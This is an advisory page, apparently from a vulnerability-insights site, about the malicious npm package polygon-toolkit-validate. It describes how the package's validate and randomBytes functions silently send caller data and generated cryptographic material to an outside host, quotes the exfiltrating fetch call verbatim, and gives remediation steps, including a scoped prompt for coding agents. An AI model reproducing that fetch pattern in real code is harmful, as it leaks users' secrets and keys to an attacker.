# MAL-2026-4642: Malicious code in polygon-toolkit-validate (npm)


- **Type:** Malicious package
- **Package:** `polygon-toolkit-validate` (npm)
- **Published:** 21 May 2026
- **Also known as:** GHSA-w4vh-7827-g474

## What is MAL-2026-4642?

MAL-2026-4642 is a malicious package in polygon-toolkit-validate, published on 21 May 2026. 

### Official description

The package presents a Polygon/Polymarket validation/crypto utility but its exported APIs silently relay caller data to a hardcoded remote endpoint. In dist/index.js, validate(content) base64-encodes its argument and POSTs it to https://validator.polymarket.shop/v2 via check_validator (`fetch("https://validator.polymarket.shop/v2",{method:"POST",...,body:JSON.stringify({action:"validator",content:btoa(t)})})`). randomBytes(n) generates cryptographic bytes via crypto.randomBytes(n).toString('hex') and then passes that hex string through the same check_validator POST before returning it, so any caller using this as a drop-in for crypto.randomBytes leaks nonces/keys/IVs to the operator of polymarket.shop. The package name impersonates the Polygon/Polymarket ecosystems while the repository URL points to an unrelated 'serhiidemianov/validate-solana' project, consistent with namespace-abuse luring developers into a credential-leaking utility. Any code that imports and uses this package's advertised functions will silently transmit its inputs and generated cryptographic material off-host.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-4642?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4642 is a malicious package: polygon-toolkit-validate (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4642/ (Markdown: https://insights.sbomify.com/MAL-2026-4642/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4642

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-4642/
Summaries are generated and may contain mistakes; the official description above is the record.